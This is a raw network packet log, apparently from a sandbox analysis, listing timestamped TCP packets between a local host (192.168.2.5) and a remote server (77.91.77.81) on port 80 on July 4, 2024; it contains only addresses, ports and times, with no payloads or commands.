Jul 4, 2024 22:20:38.554229021 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.554235935 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.554249048 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.554259062 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.554270029 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.554275990 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.554281950 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.554292917 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.554294109 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.554322958 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.554341078 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.554470062 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.554481030 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.554510117 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.554523945 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.554553032 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.554563999 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.554577112 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.554599047 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.554624081 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.554709911 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.554721117 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.554729939 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.554740906 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.554757118 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.554757118 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.554770947 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.554784060 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.554797888 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.554824114 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.555001974 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.555018902 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.555027962 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.555038929 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.555048943 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.555051088 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.555061102 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.555073977 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.555074930 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.555084944 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.555104971 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.555128098 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.583816051 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.583837032 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.583908081 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.583918095 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.583977938 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.583977938 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.583977938 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.583977938 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.583990097 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584002972 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584013939 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584024906 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584027052 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.584048033 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.584074020 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.584129095 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584173918 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.584204912 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584214926 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584247112 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.584271908 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584283113 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584315062 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.584335089 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584346056 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584356070 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584381104 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.584407091 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.584413052 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584424019 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584434032 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584465981 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.584552050 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584563971 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584573984 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584600925 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.584616899 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.584635973 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584647894 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584681034 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.584693909 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.584842920 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584851980 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584858894 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584868908 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584882021 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584897041 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.584924936 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.584968090 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584980011 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.584990978 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.585016966 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.585026979 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.585032940 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.585082054 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.624984026 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.624994040 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.625005007 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.625036955 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.625061035 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.625128031 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.625138044 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.625148058 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.625174999 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.625178099 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.625190973 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.625200987 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.625211000 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.625233889 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.625247002 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.625286102 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.625297070 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.625308037 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.625328064 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.625353098 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.625411987 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.625422001 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.625452995 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.625463009 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.625493050 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.625504017 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.625514030 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.625541925 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.625560999 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.625595093 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.625606060 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.625639915 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.625686884 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.625696898 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.625708103 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.625718117 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.625732899 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.625749111 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.625770092 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.642680883 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.642699003 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.642756939 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.642765045 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.642807007 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.642844915 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.642855883 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.642888069 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.642908096 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.642927885 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.642944098 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.642951965 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.642978907 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.643059969 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.643071890 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.643080950 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.643110991 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.643122911 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.643191099 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.643202066 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.643212080 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.643223047 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.643239975 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.643270016 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.643328905 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.643340111 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.643348932 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.643373013 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.643385887 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.643431902 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.643443108 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.643452883 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.643477917 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.643500090 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.643588066 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.643599033 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.643614054 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.643624067 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.643636942 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.643640995 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.643646955 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.643656015 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.643660069 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.643692017 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.643692017 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.643865108 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.643908024 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.643908978 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.643919945 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.643955946 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.643990993 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.644037962 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.644046068 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.644054890 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.644089937 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.644098997 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.644113064 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.644160986 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.644191980 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.644202948 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.644213915 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.644222021 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.644233942 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.644237041 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.644253969 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.644273996 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.644429922 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.644442081 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.644450903 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.644462109 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.644473076 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.644474030 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.644488096 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.644489050 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.644521952 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.644534111 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.644562960 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.644609928 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.644690037 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.644701004 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.644711018 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.644721031 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.644732952 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.644737005 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.644756079 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.644756079 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.644767046 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.644778013 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.644789934 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.644798040 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.644825935 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.644962072 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.645004988 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.645169020 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.645179987 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.645190954 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.645200968 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.645210981 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.645222902 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.645236969 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.645237923 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.645248890 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.645251989 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.645260096 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.645262003 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.645282030 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.645291090 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.645323992 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.674113035 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.674124002 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.674134016 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.674206018 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.674304008 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.674314976 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.674330950 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.674340010 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.674350977 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.674355030 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.674362898 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.674376011 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.674386024 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.674396038 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.674429893 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.674459934 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.674470901 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.674479961 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.674490929 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.674509048 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.674530983 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.674555063 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.674598932 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.674616098 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.674626112 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.674659967 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.674748898 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.674758911 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.674763918 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.674773932 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.674799919 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.674815893 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.674855947 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.674865961 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.674904108 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.674920082 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.674930096 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.674962044 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.674978018 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.674999952 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.675009966 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.675019979 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.675044060 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.675067902 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.675132036 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.675143003 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.675180912 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.715437889 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.715622902 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.715626955 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.715639114 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.715647936 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.715657949 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.715667009 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.715667963 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.715704918 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.715735912 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.715747118 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.715755939 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.715765953 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.715775967 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.715799093 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.715814114 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.715877056 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.715888977 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.715930939 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.715954065 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.715965986 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.716002941 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.716063976 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.716073990 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.716083050 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.716093063 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.716104031 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.716114998 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.716126919 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.716145992 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.716290951 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.716300964 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.716336012 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.732858896 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.732870102 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.732876062 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733015060 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.733042955 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733067036 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733072996 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733077049 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.733094931 CEST	80	49711	77.91.77.81	192.168.2.5
